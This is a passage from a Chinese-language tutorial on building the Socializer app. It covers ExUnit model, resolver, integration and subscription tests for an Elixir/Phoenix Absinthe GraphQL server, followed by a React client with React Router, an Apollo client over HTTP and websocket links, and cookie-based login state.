model 层进行单元测试 —— 这些 model 是否能正确的验证（数据）？这些 model 的 helper 函数是否能返回预期的结果？第二，我们需要对 resolver 层进行单元测试 —— resolver 是否能处理不同的（成功和失败）的情况？是否能返回正确的结果或者根据结果作出正确的数据库更新？第三，我们应该编写一些完整的 integration test（集成测试），例如发送向服务器一个查询请求并期待返回正确的结果。这可以让我们更好地从全局上把控我们的应用，并且确保这些测试涵盖认证逻辑等案例。第四，我们希望对我们的 subscription 层进行测试 —— 当相关的变化发生时，它们可否可以正确地通知套接字。\n\nElixir 有一个非常基本的内置测试库，叫做 ExUnit。ExUnit 包括简单的 `assert`/`refute` 函数，也可以帮助你运行你的测试。在 Phoenix 中建立一系列 “case” support 文件的方法也很常见。这些文件在测试中被引用，用于运行常见的初始化任务，例如连接数据库。此外，在我的测试中，我发现 [ex_spec](https://hexdocs.pm/ex_spec/readme.html) 和 [ex_machina](https://hexdocs.pm/ex_machina/readme.html) 这两个库非常有帮助。ex_spec 加入了简单的 `describe` 和 `it`，对于有 ruby 相关背景的我来说，ex_spec 可以让编写测试所用的语法更加的友好。ex_machina 提供了函数工厂（factory），这些函数工厂可以让动态插入测试数据变得更简单。\n\n我创建的函数工厂长这样：\n\n```elixir\n# test/support/factories.ex\ndefmodule Socializer.Factory do\n  use ExMachina.Ecto, repo: Socializer.Repo\n\n  def user_factory do\n    %Socializer.User{\n      name: Faker.Name.name(),\n      email: Faker.Internet.email(),\n      password: \"password\",\n      password_hash: Bcrypt.hash_pwd_salt(\"password\")\n    }\n  end\n\n  def post_factory do\n    %Socializer.Post{\n      body: Faker.Lorem.paragraph(),\n      user: build(:user)\n    }\n  end\n\n  # ...factories for other models\nend\n```\n\n在环境的搭建中导入函数工厂后，你就可以在测试案例中使用一些非常直观的语法了：\n\n```elixir\n# Insert a user\nuser = insert(:user)\n\n# Insert a user with a specific name\nuser_named = insert(:user, name: \"John Smith\")\n\n# Insert a post for the user\npost = insert(:post, user: user)\n```\n\n在搭建完成后，你的 `Post` model 长这样：\n\n```elixir\n# test/socializer/post_test.exs\ndefmodule Socializer.PostTest do\n  use SocializerWeb.ConnCase\n\n  alias Socializer.Post\n\n  describe \"#all\" do\n    it \"finds all posts\" do\n      post_a = insert(:post)\n      post_b = insert(:post)\n      results = Post.all()\n      assert length(results) == 2\n      assert List.first(results).id == post_b.id\n      assert List.last(results).id == post_a.id\n    end\n  end\n\n  describe \"#find\" do\n    it \"finds post\" do\n      post = insert(:post)\n      found = Post.find(post.id)\n      assert found.id == post.id\n    end\n  end\n\n  describe \"#create\" do\n    it \"creates post\" do\n      user = insert(:user)\n      valid_attrs = %{user_id: user.id, body: \"New discussion\"}\n      {:ok, post} = Post.create(valid_attrs)\n      assert post.body == \"New discussion\"\n    end\n  end\n\n  describe \"#changeset\" do\n    it \"validates with correct attributes\" do\n      user = insert(:user)\n      valid_attrs = %{user_id: user.id, body: \"New discussion\"}\n      changeset = Post.changeset(%Post{}, valid_attrs)\n      assert changeset.valid?\n    end\n\n    it \"does not validate with missing attrs\" do\n      changeset =\n        Post.changeset(\n          %Post{},\n          %{}\n        )\n\n      refute changeset.valid?\n    end\n  end\nend\n```\n\n这个测试案例很直观。对于每个案例，我们插入所需要的测试数据，调用需要测试的函数并对结果作出断言（assertion）。\n\n接下来，让我们一起看一下下面这个 resolver 的测试案例：\n\n```elixir\n# test/socializer_web/resolvers/post_resolver_test.exs\ndefmodule SocializerWeb.PostResolverTest do\n  use SocializerWeb.ConnCase\n\n  alias SocializerWeb.Resolvers.PostResolver\n\n  describe \"#list\" do\n    it \"returns posts\" do\n      post_a = insert(:post)\n      post_b = insert(:post)\n      {:ok, results} = PostResolver.list(nil, nil, nil)\n      assert length(results) == 2\n      assert List.first(results).id == post_b.id\n      assert List.last(results).id == post_a.id\n    end\n  end\n\n  describe \"#show\" do\n    it \"returns specific post\" do\n      post = insert(:post)\n      {:ok, found} = PostResolver.show(nil, %{id: post.id}, nil)\n      assert found.id == post.id\n    end\n\n    it \"returns not found when post does not exist\" do\n      {:error, error} = PostResolver.show(nil, %{id: 1}, nil)\n      assert error == \"Not found\"\n    end\n  end\n\n  describe \"#create\" do\n    it \"creates valid post with authenticated user\" do\n      user = insert(:user)\n\n      {:ok, post} =\n        PostResolver.create(nil, %{body: \"Hello\"}, %{\n          context: %{current_user: user}\n        })\n\n      assert post.body == \"Hello\"\n      assert post.user_id == user.id\n    end\n\n    it \"returns error for missing params\" do\n      user = insert(:user)\n\n      {:error, error} =\n        PostResolver.create(nil, %{}, %{\n          context: %{current_user: user}\n        })\n\n      assert error == [[field: :body, message: \"Can't be blank\"]]\n    end\n\n    it \"returns error for unauthenticated user\" do\n      {:error, error} = PostResolver.create(nil, %{body: \"Hello\"}, nil)\n\n      assert error == \"Unauthenticated\"\n    end\n  end\nend\n```\n\n对于 resolver 的测试也相当的简单 —— 它们也是单元测试，运行于 model 之上的一层。这里我们插入任意的测试数据，调用所测试的 resolver，然后期待正确的结果被返回。\n\n集成测试有一点点小复杂。我们首先需要建立和服务器端的连接（可能需要认证），接着发送一个查询语句并且确保我们得到正确的结果。我找到了[这篇帖子](https://tosbourn.com/testing-absinthe-exunit)，它对学习如何为 Absinthe 构建集成测试非常有帮助。\n\n首先，我们建立一个 helper 文件，这个文件将包含一些进行集成测试所需要的常见功能：\n\n```elixir\n# test/support/absinthe_helpers.ex\ndefmodule Socializer.AbsintheHelpers do\n  alias Socializer.Guardian\n\n  def authenticate_conn(conn, user) do\n    {:ok, token, _claims} = Guardian.encode_and_sign(user)\n    Plug.Conn.put_req_header(conn, \"authorization\", \"Bearer #{token}\")\n  end\n\n  def query_skeleton(query, query_name) do\n    %{\n      \"operationName\" => \"#{query_name}\",\n      \"query\" => \"query #{query_name} #{query}\",\n      \"variables\" => \"{}\"\n    }\n  end\n\n  def mutation_skeleton(query) do\n    %{\n      \"operationName\" => \"\",\n      \"query\" => \"mutation #{query}\",\n      \"variables\" => \"\"\n    }\n  end\nend\n```\n\n这个文件里包括了三个 helper 函数。第一个函数接受一个连接对象和一个用户对象作为参数，通过在 HTTP 的 header 中加入已认证的用户 token 来认证连接。第二个和第三个函数都接受一个查询语句作为参数，当你通过网络连接发送查询语句给服务器时，这两个函数会返回一个包含该查询语句结果在内的 JSON 结构对象。\n\n然后回到测试本身：\n\n```elixir\n# test/socializer_web/integration/post_resolver_test.exs\ndefmodule SocializerWeb.Integration.PostResolverTest do\n  use SocializerWeb.ConnCase\n  alias Socializer.AbsintheHelpers\n\n  describe \"#list\" do\n    it \"returns posts\" do\n      post_a = insert(:post)\n      post_b = insert(:post)\n\n      query = \"\"\"\n      {\n        posts {\n          id\n          body\n        }\n      }\n      \"\"\"\n\n      res =\n        build_conn()\n        |> post(\"/graphiql\", AbsintheHelpers.query_skeleton(query, \"posts\"))\n\n      posts = json_response(res, 200)[\"data\"][\"posts\"]\n      assert List.first(posts)[\"id\"] == to_string(post_b.id)\n      assert List.last(posts)[\"id\"] == to_string(post_a.id)\n    end\n  end\n\n  # ...\nend\n```\n\n这个测试案例，通过查询来得到一组帖子信息的方式来测试我们的终端。我们首先在数据库中插入一些帖子的记录，然后写一个查询语句，接着通过 POST 方法将语句发送给服务器，最后检查服务器的回复，确保返回的结果符合预期。\n\n这里还有一个非常相似的案例，测试是否能查询得到单个帖子信息。这里我们就不再赘述（如果你想了解所有的集成测试，你可以查看[这里](https://github.com/schneidmaster/socializer/tree/master/test/socializer_web/integration)）。下面让我们看一下为创建帖子的 Mutation 所做的集成测试。\n\n```elixir\n# test/socializer_web/integration/post_resolver_test.exs\ndefmodule SocializerWeb.Integration.PostResolverTest do\n  # ...\n\n  describe \"#create\" do\n    it \"creates post\" do\n      user = insert(:user)\n\n      mutation = \"\"\"\n      {\n        createPost(body: \"A few thoughts\") {\n          body\n          user {\n            id\n          }\n        }\n      }\n      \"\"\"\n\n      res =\n        build_conn()\n        |> AbsintheHelpers.authenticate_conn(user)\n        |> post(\"/graphiql\", AbsintheHelpers.mutation_skeleton(mutation))\n\n      post = json_response(res, 200)[\"data\"][\"createPost\"]\n      assert post[\"body\"] == \"A few thoughts\"\n      assert post[\"user\"][\"id\"] == to_string(user.id)\n    end\n  end\nend\n```\n\n非常相似，只有两点不同 —— 这次我们是通过 `AbsintheHelpers.authenticate_conn(user)` 将用户的 token 加入头字段的方式来建立连接，并且我们调用的是 `mutation_skeleton`，而非之前的 `query_skeleton`。\n\n那对于 subscription 的测试呢？对于 subscription 的测试也需要通过一些基本的搭建，来建立一个套接字连接，然后就可以建立并测试我们的 subscription。我找到了[这篇文章](https://www.smoothterminal.com/articles/building-a-forum-elixir-graphql-backend-with-absinthe)，它对我们理解如何为 subscription 构建测试非常有帮助。\n\n首先，我们建立一个新的 case 文件来为 subscription 的测试做基本的搭建。代码长这样：\n\n```elixir\n# test/support/subscription_case.ex\ndefmodule SocializerWeb.SubscriptionCase do\n  use ExUnit.CaseTemplate\n\n  alias Socializer.Guardian\n\n  using do\n    quote do\n      use SocializerWeb.ChannelCase\n      use Absinthe.Phoenix.SubscriptionTest, schema: SocializerWeb.Schema\n      use ExSpec\n      import Socializer.Factory\n\n      setup do\n        user = insert(:user)\n\n        # When connecting to a socket, if you pass a token we will set the context's `current_user`\n        params = %{\n          \"token\" => sign_auth_token(user)\n        }\n\n        {:ok, socket} = Phoenix.ChannelTest.connect(SocializerWeb.AbsintheSocket, params)\n        {:ok, socket} = Absinthe.Phoenix.SubscriptionTest.join_absinthe(socket)\n\n        {:ok, socket: socket, user: user}\n      end\n\n      defp sign_auth_token(user) do\n        {:ok, token, _claims} = Guardian.encode_and_sign(user)\n        token\n      end\n    end\n  end\nend\n```\n\n在一些常见的导入后，我们定义一个 `setup` 的步骤。这一步会插入一个新的用户，并通过这个用户的 token 来建立一个 websocket 连接。我们将这个套接字和用户返回以供我们其他的测试使用。\n\n下一步，让我们一起来看一看测试本身：\n\n```elixir\ndefmodule SocializerWeb.PostSubscriptionsTest do\n  use SocializerWeb.SubscriptionCase\n\n  describe \"Post subscription\" do\n    it \"updates on new post\", %{socket: socket} do\n      # Query to establish the subscription.\n      subscription_query = \"\"\"\n        subscription {\n          postCreated {\n            id\n            body\n          }\n        }\n      \"\"\"\n\n      # Push the query onto the socket.\n      ref = push_doc(socket, subscription_query)\n\n      # Assert that the subscription was successfully created.\n      assert_reply(ref, :ok, %{subscriptionId: _subscription_id})\n\n      # Query to create a new post to invoke the subscription.\n      create_post_mutation = \"\"\"\n        mutation CreatePost {\n          createPost(body: \"Big discussion\") {\n            id\n            body\n          }\n        }\n      \"\"\"\n\n      # Push the mutation onto the socket.\n      ref =\n        push_doc(\n          socket,\n          create_post_mutation\n        )\n\n      # Assert that the mutation successfully created the post.\n      assert_reply(ref, :ok, reply)\n      data = reply.data[\"createPost\"]\n      assert data[\"body\"] == \"Big discussion\"\n\n      # Assert that the subscription notified us of the new post.\n      assert_push(\"subscription:data\", push)\n      data = push.result.data[\"postCreated\"]\n      assert data[\"body\"] == \"Big discussion\"\n    end\n  end\nend\n```\n\n首先，我们先写一个 subscription 的查询语句，并且推送到我们在上一步已经建立好的套接字上。接着，我们写一个会触发 subscription 的 mutation 语句（例如，创建一个新帖子）并推送到套接字上。最后，我们检查 `push` 的回复，并断言一个帖子的被新建的更新信息将被推送给我们。这其中设计了更多的前期搭建，但这也让我们对 subscription 的生命周期的建立的更好的集成测试。\n\n## 客户端\n\n以上就是对服务端所发生的一切的大致的描述 —— 服务器通过在 types 中定义，在 resolvers 中实现，在 model 查询和固化（persist）数据的方法来处理 GraphQL 查询语句。接下来，让我们一起来看一看客户端是如何建立的。\n\n我们首先使用 [create-react-app](https://facebook.github.io/create-react-app)，这是从 0 到 1 搭建 React 项目的好方法 —— 它会搭建一个 “hello world” React 应用，包含默认的设定和结构，并且简化了大量配置。\n\n这里我使用了 [React Router](https://reacttraining.com/react-router) 来实现应用的路由；它将允许用户在帖子列表页面、单一帖子页面和聊天页面等进行浏览。我们的应用的根组件应该长这样：\n\n```javascript\n// client/src/App.js\nimport React, { useRef } from \"react\";\nimport { ApolloProvider } from \"react-apollo\";\nimport { BrowserRouter, Switch, Route } from \"react-router-dom\";\nimport { createClient } from \"util/apollo\";\nimport { Meta, Nav } from \"components\";\nimport { Chat, Home, Login, Post, Signup } from \"pages\";\n\nconst App = () => {\n  const client = useRef(createClient());\n\n  return (\n    <ApolloProvider client={client.current}>\n      <BrowserRouter>\n        <Meta />\n        <Nav />\n\n        <Switch>\n          <Route path=\"/login\" component={Login} />\n          <Route path=\"/signup\" component={Signup} />\n          <Route path=\"/posts/:id\" component={Post} />\n          <Route path=\"/chat/:id?\" component={Chat} />\n          <Route component={Home} />\n        </Switch>\n      </BrowserRouter>\n    </ApolloProvider>\n  );\n};\n```\n\n几个值得注意的点 —— `util/apollo` 这里对外输出了一个 `createClient` 函数。这个函数会创建并返回一个 Apollo 客户端的实例（我们将在下文中进行着重地介绍）。将 `createClient` 包装在 `useRef` 中，就能让该实例在应用的生命周期内（即，所有的 rerenders）中均可使用。`ApolloProvider` 这个高阶组件会使 client 可以在所有子组件/查询的 context 中使用。在我们浏览该应用的过程中，`BrowserRouter` 使用 HTML5 的 history API 来保持 URL 的状态同步。\n\n这里的 `Switch` 和 `Route` 需要单独进行讨论。React Router 是围绕**动态**路由的概念建立的。大部分的网站使用**静态**路由，也就是说你的 URL 将匹配唯一的路由，并且根据所匹配的路由来渲染一整个页面。使用**动态**路由，路由将被分布到整个应用中，一个 URL 可以匹配多个路由。这听起来可能有些令人困惑，但事实上，当你掌握了它以后，你会觉得它**非常**棒。它可以轻松地构建一个包含不同组件页面，这些组件可以对路由的不同部分做出反应。例如，想象一个类似脸书的 messenger 的页面（Socializer 的聊天界面也非常相似）—— 左边是对话的列表，右边是所选择的对话。动态路由允许我这样表达：\n\n```javascript\nconst App = () => {\n  return (\n    // ...\n    <Route path=\"/chat/:id?\" component={Chat} />\n    // ...\n  );\n};\n\nconst Chat = () => {\n  return (\n    <div>\n      <ChatSidebar />\n\n      <Switch>\n        <Route path=\"/chat/:id\" component={Conversation} />\n        <Route component={EmptyState} />\n      </Switch>\n    </div>\n  );\n};\n```\n\n如果路径以 `/chat` 开头（可能以 ID 结尾，例如，`/chat/123`），根层次的 `App` 会渲染 `Chat` 组件。`Chat` 会渲染对话列表栏（对话列表栏总是可见的），然后会渲染它的路由，如果路径有 ID，则显示一个 `Conversation` 组件，否则就会显示 `EmptyState`（请注意，如果缺少了 `?`，那么 `:id` 参数就不再是可选参数）。这就是动态路由的力量 —— 它让你可以基于当前的 URL 渐进地渲染界面的不同组件，将基于路径的问题本地化到相关的组件中。\n\n即使使用了动态路由，有时你也只想要渲染一条路径（类似于传统的静态路由）。这时 `Switch` 组件就登上了舞台。如果没有 `Switch`，React Router 会渲染**每一个**匹配当前 URL 的组件，那么在上面的 `Chat` 组件中，我们就会既有 `Conversation` 组件，又有 `EmptyState` 组件。`Switch` 会告诉 React Router，让它只渲染第一个匹配当前 URL 的路由并忽视掉其它的。\n\n## Apollo 客户端\n\n现在，让我们更进一步，深入了解一下 Apollo 的客户端 —— 特别是上文已经提及的 `createClient` 函数。`util/apollo.js` 文件长这样：\n\n```javascript\n// client/src/util.apollo.js\nimport ApolloClient from \"apollo-client\";\nimport { InMemoryCache } from \"apollo-cache-inmemory\";\nimport * as AbsintheSocket from \"@absinthe/socket\";\nimport { createAbsintheSocketLink } from \"@absinthe/socket-apollo-link\";\nimport { Socket as PhoenixSocket } from \"phoenix\";\nimport { createHttpLink } from \"apollo-link-http\";\nimport { hasSubscription } from \"@jumpn/utils-graphql\";\nimport { split } from \"apollo-link\";\nimport { setContext } from \"apollo-link-context\";\nimport Cookies from \"js-cookie\";\n\nconst HTTP_URI =\n  process.env.NODE_ENV === \"production\"\n    ? \"https://brisk-hospitable-indianelephant.gigalixirapp.com\"\n    : \"http://localhost:4000\";\n\nconst WS_URI =\n  process.env.NODE_ENV === \"production\"\n    ? \"wss://brisk-hospitable-indianelephant.gigalixirapp.com/socket\"\n    : \"ws://localhost:4000/socket\";\n\n// ...\n```\n\n开始很简单，导入一堆我们接下来需要用到的依赖，并且根据当前的环境，将 HTTP URL 和 websocket URL 设置为常量 —— 在 production 环境中指向我的 Gigalixir 实例，在 development 环境中指向 localhost。\n\n```javascript\n// client/src/util.apollo.js\n// ...\n\nexport const createClient = () => {\n  // Create the basic HTTP link.\n  const httpLink = createHttpLink({ uri: HTTP_URI });\n\n  // Create an Absinthe socket wrapped around a standard\n  // Phoenix websocket connection.\n  const absintheSocket = AbsintheSocket.create(\n    new PhoenixSocket(WS_URI, {\n      params: () => {\n        if (Cookies.get(\"token\")) {\n          return { token: Cookies.get(\"token\") };\n        } else {\n          return {};\n        }\n      },\n    }),\n  );\n\n  // Use the Absinthe helper to create a websocket link around\n  // the socket.\n  const socketLink = createAbsintheSocketLink(absintheSocket);\n\n  // ...\n});\n```\n\nApollo 的客户端要求你提供一个链接 —— 本质上说，就是你的 Apollo 客户端所请求的 GraphQL 服务器的连接。通常有两种类型的链接 —— HTTP 链接，通过标准的 HTTP 来向 GraphQL 服务器发送请求，和 websocket 链接，开放一个 websocket 连接并通过套接字来发送请求。在我们的例子中，我们两种都使用了。对于通常的 query 和 mutation，我们将使用 HTTP 链接，对于 subscription，我们将使用 websocket 链接。\n\n```javascript\n// client/src/util.apollo.js\nexport const createClient = () => {\n  //...\n\n  // Split traffic based on type -- queries and mutations go\n  // through the HTTP link, subscriptions go through the\n  // websocket link.\n  const splitLink = split(\n    (operation) => hasSubscription(operation.query),\n    socketLink,\n    httpLink,\n  );\n\n  // Add a wrapper to set the auth token (if any) to the\n  // authorization header on HTTP requests.\n  const authLink = setContext((_, { headers }) => {\n    // Get the authentication token from the cookie if it exists.\n    const token = Cookies.get(\"token\");\n\n    // Return the headers to the context so httpLink can read them.\n    return {\n      headers: {\n        ...headers,\n        authorization: token ? `Bearer ${token}` : \"\",\n      },\n    };\n  });\n\n  const link = authLink.concat(splitLink);\n\n  // ...\n};\n```\n\nApollo 提供了 `split` 函数，它可以让你根据你选择的标准，将不同的查询请求路由到不同的链接上 —— 你可以把它想成一个三项式：如果请求有 subscription，就通过套接字链接来发送，其他情况（Query 或者 Mutation）则使用 HTTP 链接传送。\n\n如果用户已经登陆，我们可能还需要给两个链接都提供认证。当用户登陆以后，我们将其认证令牌设置到 `token` 的 cookie 中（下文会详细介绍）。与 Phoenix 建立 websocket 连接时，我们使用`token` 作为参数，在 HTTP 链接中，这里我们使用 `setContext` 包装器，将`token` 设置在请求的头字段中。\n\n```javascript\n// client/src/util.apollo.js\nexport const createClient = () => {\n  // ...\n\n  return new ApolloClient({\n    cache: new InMemoryCache(),\n    link,\n  });\n});\n```\n\n如上所示，除了链接以外，一个 Apollo 的客户端还需要一个缓存的实例。GraphQL 会自动缓存请求的结果来避免对相同的数据进行重复请求。基本的 `InMemoryCache` 已经可以适用大部分的用户案例了 —— 它就是将查询的数据存在浏览器的本地状态中。\n\n## 客户端的使用 —— 我们的第一个请求\n\n好哒，我们已经搭建好了 Apollo 的客户端实例，并且通过 `ApolloProvider` 的高阶函数让这个实例在整个应用中都可用。现在让我们来看一看如何运行 query 和 mutation。我们从 `Posts` 组件开始，`Posts` 组件将在我们的首页渲染一个帖子的列表。\n\n```javascript\n// client/src/components/Posts.js\nimport React, { Fragment } from \"react\";\nimport { Query } from \"react-apollo\";\nimport gql from \"graphql-tag\";\nimport produce from \"immer\";\nimport { ErrorMessage, Feed, Loading } from \"components\";\n\nexport const GET_POSTS = gql`\n  {\n    posts {\n      id\n      body\n      insertedAt\n      user {\n        id\n        name\n        gravatarMd5\n      }\n    }\n  }\n`;\n\nexport const POSTS_SUBSCRIPTION = gql`\n  subscription onPostCreated {\n    postCreated {\n      id\n      body\n      insertedAt\n      user {\n        id\n        name\n        gravatarMd5\n      }\n    }\n  }\n`;\n\n// ...\n```\n\n首先是各种库的引入，接着我们需要为我们想要渲染的帖子写一些查询。这里有两个 —— 首先是一个基础的获取帖子列表的 query（也包括帖子作者的信息），然后是一个 subscription，用来告知我们新帖子的出现，让我们可以实时地更新屏幕，保证我们的列表处于最新。\n\n```javascript\n// client/src/components/Posts.js\n// ...\n\nconst Posts = () => {\n  return (\n    <Fragment>\n      <h4>Feed</h4>\n      <Query query={GET_POSTS}>\n        {({ loading, error, data, subscribeToMore }) => {\n          if (loading) return <Loading />;\n          if (error) return <ErrorMessage message={error.message} />;\n          return (\n            <Feed\n              feedType=\"post\"\n              items={data.posts}\n              subscribeToNew={() =>\n                subscribeToMore({\n                  document: POSTS_SUBSCRIPTION,\n                  updateQuery: (prev, { subscriptionData }) => {\n                    if (!subscriptionData.data) return prev;\n                    const newPost = subscriptionData.data.postCreated;\n\n                    return produce(prev, (next) => {\n                      next.posts.unshift(newPost);\n                    });\n                  },\n                })\n              }\n            />\n          );\n        }}\n      </Query>\n    </Fragment>\n  );\n};\n```\n\n现在我们将实现真正的组件部分。首先，执行基本的查询，我们先渲染 Apollo 的 `<Query query={GET_POSTS}>`。它给它的子组件提供了一些渲染的 props —— `loading`，`error`，`data` 和 `subscribeToMore`。如果查询正在加载，我们就渲染一个简单的加载图片。如果有错误存在，我们渲染一个通用的 `ErrorMessage` 组件给用户。否则，就说明查询成果，我们就渲染一个 `Feed` 组件（`data.posts` 中包含着需要渲染的帖子，结构和 query 中的结构一致）。\n\n`subscribeToMore` 是一个 Apollo 帮助函数，用于实现一个只需要从用户正在浏览的集合中获取新数据的 subscription。它应该在子组件的 `componentDidMount` 阶段被渲染，这也是它被作为 props 传递给 `Feed` 的原因 —— 一旦 `Feed` 被渲染，`Feed` 负责调用 `subscribeToNew`。我们给 `subscribeToMore` 提供了我们的 subscription 查询和一个 `updateQuery` 的回调函数，该函数会在 Apollo 接收到新帖子被建立的通知时被调用。当那发生时，我们只需要简单将新帖子推入我们当前的帖子数组，使用 [immer](https://github.com/immerjs/immer) 可以返回一个新数组来确保组件可以正确地渲染。\n\n## 认证（和 mutation）\n\n现在我们已经有了一个带帖子列表的首页啦，这个首页还可以实时的对新建的帖子进行响应 —— 那我们应该如何新建帖子呢？首先，我们需要允许用户用他们的账户登陆，那么我们就可以把他的账户和帖子联系起来。我们需要为此写一个 mutation —— 我们需要将电子邮件和密码发送到服务器，服务器会发送一个新的认证该用户的令牌。我们从登陆页面开始：\n\n```javascript\n// client/src/pages/Login.js\nimport React, { Fragment, useContext, useState } from \"react\";\nimport { Mutation } from \"react-apollo\";\nimport { Button, Col, Container, Form, Row } from \"react-bootstrap\";\nimport Helmet from \"react-helmet\";\nimport gql from \"graphql-tag\";\nimport { Redirect } from \"react-router-dom\";\nimport renderIf from \"render-if\";\nimport { AuthContext } from \"util/context\";\n\nexport const LOGIN = gql`\n  mutation Login($email: String!, $password: String!) {\n    authenticate(email: $email, password: $password) {\n      id\n      token\n    }\n  }\n`;\n```\n\n第一部分和 query 组件十分相似 —— 我们导入需要的依赖文件，然后完成登陆的 mutation。这个 mutation 接受电子邮件和密码作为参数，然后我们希望得到认证用户的 ID 和他们的认证令牌。\n\n```javascript\n// client/src/pages/Login.js\n// ...\n\nconst Login = () => {\n  const { token, setAuth } = useContext(AuthContext);\n  const [isInvalid, setIsInvalid] = useState(false);\n  const [email, setEmail] = useState(\"\");\n  const [password, setPassword] = useState(\"\");\n\n  if (token) {\n    return <Redirect to=\"/\" />;\n  }\n\n  // ...\n};\n```\n\n在组件中，我们首先去从 context 中获取当前的 `token` 和一个叫 `setAuth` 的函数（我们会在下文中介绍 `setAuth`）。我们也需要使用 `useState` 来设置一些本地的状态，那样我们就可以为用户的电子邮件，密码以及他们的证书是否有效来存储临时值（这样我们就可以在表单中显示错误状态）。最后，如果用户已经有了认证令牌，说明他们已经登陆，那么我们就直接让他们跳转去首页。\n\n```javascript\n// client/src/pages/Login.js\n// ...\n\nconst Login = () => {\n  // ...\n\n  return (\n    <Fragment>\n      <Helmet>\n        <title>Socializer | Log in</title>\n        <meta property=\"og:title\" content=\"Socializer | Log in\" />\n      </Helmet>\n      <Mutation mutation={LOGIN} onError={() => setIsInvalid(true)}>\n        {(login, { data, loading, error }) => {\n          if (data) {\n            const {\n              authenticate: { id, token },\n            } = data;\n            setAuth({ id, token });\n          }\n\n          return (\n            <Container>\n              <Row>\n                <Col md={6} xs={12}>\n                  <Form\n                    data-testid=\"login-form\"\n                    onSubmit={(e) => {\n                      e.preventDefault();\n                      login({ variables: { email, password } });\n                    }}\n                  >\n                    <Form.Group controlId=\"formEmail\">\n                      <Form.Label>Email address</Form.Label>\n                      <Form.Control\n                        type=\"email\"\n                        placeholder=\"you@gmail.com\"\n                        value={email}\n                        onChange={(e) => {\n                          setEmail(e.target.value);\n                          setIsInvalid(false);\n                        }}\n                        isInvalid={isInvalid}\n                      />\n                      {renderIf(error)(\n                        <Form.Control.Feedback type=\"invalid\">\n                          Email or password is invalid\n                        </Form.Control.Feedback>,\n                      )}\n                    </Form.Group>\n\n                    <Form.Group controlId=\"formPassword\">\n                      <Form.Label>Password</Form.Label>\n                      <Form.Control\n                        type=\"password\"\n                        placeholder=\"Password\"\n                        value={password}\n                        onChange={(e) => {\n                          setPassword(e.target.value);\n                          setIsInvalid(false);\n                        }}\n                        isInvalid={isInvalid}\n                      />\n                    </Form.Group>\n\n                    <Button variant=\"primary\" type=\"submit\" disabled={loading}>\n                      {loading ? \"Logging in...\" : \"Log in\"}\n                    </Button>\n                  </Form>\n                </Col>\n              </Row>\n            </Container>\n          );\n        }}\n      </Mutation>\n    </Fragment>\n  );\n};\n\nexport default Login;\n```\n\n这里的代码看起来很洋气，但是不要懵 —— 这里大部分的代码只是为表单做一个 Bootstrap 组件。我们从一个叫做 `Helmet`（[react-helmet](https://github.com/nfl/react-helmet)） 组件开始 —— 这是一个顶层的表单组件（相较而言，`Posts` 组件只是 `Home` 页面渲染的一个子组件），所以我们希望给他一个浏览器标题和一些 metadata。下一步我们来渲染 `Mutation` 组件，将我们的 mutation 语句传递给他。如果 mutation 返回一个错误，我们使用 `onError` 回调函数来将状态设为无效，来将错误显示在表单中。Mutation 将一个函数传将会递给调用他的子组件（这里是 `login`），第二个参数是和我们从 `Query` 组件中得到的一样的数组。如果 `data` 存在，那就意味着 mutation 被成功执行，那么我们就可以将我们的认证令牌和用户 ID 通过 `setAuth` 函数来储存起来。剩余的部分就是很标准的 React 组件啦 —— 我们渲染 input 并在变化时更新 state 值，在用户试图登陆，而邮件密码却无效时显示错误信息。\n\n那 `AuthContext` 是干嘛的呢？当用户被成功认证后，我们需要将他们的认证令牌以某种方式存储在客户端。这里 GraphQL 并不能帮上忙，因为这就像是个鸡生蛋问题 —— 发出请求才能获取认证令牌，而认证这个请求本身就要用到认证令牌。我们可以用 Redux 在本地状态中来存储令牌，但如果我只需要储存这一个值时，感觉这样做就太过于复杂了。我们可以使用 React 的 context API 来将 token 储存在我们应用的根目录，在需要时调用即可。\n\n首先，让我们建立一个帮助函数来帮我们建立和导出 context：\n\n```javascript\n// client/src/util/context.js\nimport { createContext } from \"react\";\n\nexport const AuthContext = createContext(null);\n```\n\n接下来我们来新建一个 `StateProvider` 高阶函数，这个函数会在应用的根组件被渲染 —— 它将帮助我们保存和更新认证状态。\n\n```javascript\n// client/src/containers/StateProvider.js\nimport React, { useEffect, useState } from \"react\";\nimport { withApollo } from \"react-apollo\";\nimport Cookies from \"js-cookie\";\nimport { refreshSocket } from \"util/apollo\";\nimport { AuthContext } from \"util/context\";\n\nconst StateProvider = ({ client, socket, children }) => {\n  const [token, setToken] = useState(Cookies.get(\"token\"));\n  const [userId, setUserId] = useState(Cookies.get(\"userId\"));\n\n  // If the token changed (i.e. the user logged in\n  // or out), clear the Apollo store and refresh the\n  // websocket connection.\n  useEffect(() => {\n    if (!token) client.clearStore();\n    if (socket) refreshSocket(socket);\n  }, [token]);\n\n  const setAuth = (data) => {\n    if (data) {\n      const { id, token } = data;\n      Cookies.set(\"token\", token);\n      Cookies.set(\"userId\", id);\n      setToken(token);\n      setUserId(id);\n    } else {\n      Cookies.remove(\"token\");\n      Cookies.remove(\"userId\");\n      setToken(null);\n      setUserId(null);\n    }\n  };\n\n  return (\n    <AuthContext.Provider value={{ token, userId, setAuth }}>\n      {children}\n    </AuthContext.Provider>\n  );\n};\n\nexport default withApollo(StateProvider);\n```\n\n这里有很多东西。首先，我们为认证用户的 `token` 和 `userId` 建立 state。我们通过读 cookie 来初始化 state，那样我们就可以在页面刷新后保证用户的登陆状态。接下来我们实现了我们的 `setAuth` 函数。用 `null` 来调用该函数会将用户登出；否则就使用提供的 `token` 和 `userId`来让用户登陆。不管哪种方法，这个函数都会更新本地的 state 和 cookie。\n\n在同时使用认证和 Apollo websocket link 时存在一个很大的难题。我们在初始化 websocket 时，如果用户被认证，我们就使用令牌，反之，如果用户登出，则不是用令牌。但是当认证状态发生变化时，我们需要根据状态重置 websocket 连接来。如果用户是先登出再登入，我们需要用户新的令牌来重置 websocket，这样他们就可以实时地接受到需要登陆的活动的更新，比如说一个聊天对话。如果用户是先登入再登出，我们则需要将 websocket 重置成未经验证状态，那么他们就不再会实时地接受到他们已经登出的账户的更新。事实证明这真的很难 —— 因为没有一个详细记录的下的解决方案，这花了我好几个小时才解决。我最终手动地为套接字实现了一个重置函数：\n\n```javascript\n// client/src/util.apollo.js\nexport const refreshSocket = (socket) => {\n  socket.phoenixSocket.disconnect();\n  socket.phoenixSocket.channels[0].leave();\n  socket.channel = socket.phoenixSocket.channel(\"__absinthe__:control\");\n  socket.channelJoinCreated = false;\n  socket.phoenixSocket.connect();\n};\n```\n\n这个会断开 Phoenix 套接字，将当前存在的 Phoenix 频道留给 GraphQL 更新，创建一个新的 